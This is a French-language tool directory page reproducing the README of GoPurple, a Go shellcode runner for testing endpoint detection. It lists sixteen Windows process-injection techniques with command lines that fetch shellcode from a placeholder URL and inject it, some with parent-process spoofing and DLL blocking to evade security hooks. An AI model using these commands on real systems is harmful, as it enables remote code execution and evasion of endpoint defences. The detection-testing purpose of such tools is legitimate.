Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
GoPurple — Encore un exécuteur de shellcode composé de différentes techniques pour évaluer les capacités de détection des solutions de sécurité des points de terminaison. | Kitploit
Outils/GitHubGitHub/sh4hin/gopurple
Outils DéfensifsGénération de PayloadsExploitationÉvasion IDS/IPSShellcodeTests d'IntrusionApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubsh4hin/gopurple

GoPurple

Encore un exécuteur de shellcode composé de différentes techniques pour évaluer les capacités de détection des solutions de sécurité des points de terminaison.

496715il y a 5 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

GoPurple

Ce projet est une simple collection de diverses techniques d'injection de shellcode, visant à rationaliser le processus d'évaluation de la détection des endpoints, tout en se lançant le défi de plonger dans le monde de Golang.

Installation

1 - Nécessite go installé.

2 - Compilez l'application depuis le répertoire du projet : go build. Définissez GOOS=windows si le système de build n'est pas Windows.

root@kitploit:~
  _____                              _
  / ____|                            | |
 | |  __  ___  _ __  _   _ _ __ _ __ | | ___
 | | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
 | |__| | (_) | |_) | |_| | |  | |_) | |  __/
  \_____|\___/| .__/ \__,_|_|  | .__/|_|\___|
              | |              | |
              |_|              |_|   by @s3cdev

 -a string
        Program command line arguments
  -b string
        block DLL mode (nonms/onlystore for QueueUserAPC )
  -p int
        Process ID to inject shellcode into
  -prog string
        program to inject into
  -t string
        shellcode injection technique to use:
         1: CreateFiber
         2: syscall
         3: CreateThreadNative
         4: CreateProcess
         5: EtwpCreateEtwThread
         6: CreateRemoteThread
         7: RtlCreateUserThread
         8: CreateThread
         9: CreateRemoteThreadNative
         10: CreateProcessWithPipe
         11: QueueUserAPC
         12: CreateThreadpoolWait
         13: BananaPhone
         14: EnumerateLoadedModules
         15: EnumChildWindows
         16: EnumPageFilesW
  -u string
        URL hosting the shellcode

Exemples :

Un shellcode doit être généré, cela peut se faire avec des outils comme msfvenom ou shad0w. Ensuite, le shellcode doit être hébergé pour être téléchargé et exécuté à distance sur la machine distante. Pour plus de clarté, les démos ci-dessous illustrent différentes façons d'utiliser l'outil.

1 - Injection de shellcode avec la méthode BananaPhone + Shad0w comme générateur de shellcode

2 - Injection de shellcode avec la technique QueueUserAPC + Shad0w comme générateur de shellcode + usurpation de l'ID du processus parent (explorer comme ID parent) + lancement du processus par un parent usurpé contenant le shellcode (calc) + protection du processus contre les hooks DLL non signés, seules les DLL signées Microsoft peuvent donc hooker le processus.

3 - Injection de shellcode avec CreateFiber + msfvenom comme générateur de shellcode

Comment utiliser :

root@kitploit:~
1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)

2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)

3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)

4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)

5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)

6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)

7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)

8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)

9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)

10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process)  (CreateProcessWithPipe)

11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore)  (QueueUserAPC)

nonms = seules les DLL signées par Microsoft peuvent hooker le processus

onlystore = seuls les processus des applications du Microsoft Store peuvent hooker le processus

12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)

13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)

14-  gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)

15-  gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)

16-  gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)

Remerciements :

Tout le crédit va aux gars suivants pour leurs recherches, outils et inspiration formidables :

  • ne0nd0g : La majeure partie de ce projet a été empruntée à go-shellcode
  • spotheplanet : Le billet de blog m'a inspiré pour convertir la méthode en Golang
  • _d00mfist : Super implémentation de la technique QueueUserAPC en Golang
  • c__sto : Technique BananaPhone
  • batsec : Le super shad0w
  • chiragsavla94 : Inspiré de ProcessInjection
  • S4R1N : Pour avoir introduit les nouvelles exécutions de code alternatives

Merci à brimston3 pour son soutien et sa contribution.

Références

(https://github.com/Ne0nd0g/go-shellcode)

(https://www.ired.team/)

(https://github.com/D00MFist/Go4aRun)

(https://github.com/BishopFox/sliver)

(https://posts.specterops.io/going-4-a-run-eb263838b944)

(https://github.com/C-Sto/BananaPhone)

(https://blog.xpnsec.com/protecting-your-malware)

(https://github.com/3xpl01tc0d3r/ProcessInjection)

(https://github.com/S4R1N/AlternativeShellcodeExec)

Projets futurs

  • Ajout de plus de techniques
  • Code plus structuré

Changelog

[1.0.3] - 2021-03-28

Ajouté

  • Technique EnumPageFilesW

[1.0.2] - 2021-03-25

Ajouté

  • Technique EnumChildWindows

[1.0.0] - 2021-03-22

Ajouté

  • Technique EnumerateLoadedModules

Avertissement légal

Ce projet est réalisé uniquement à des fins éducatives et de tests éthiques. L'utilisation de GoPurple pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de tout usage abusif ou dommage causé par ce programme.

Télécharger l’outil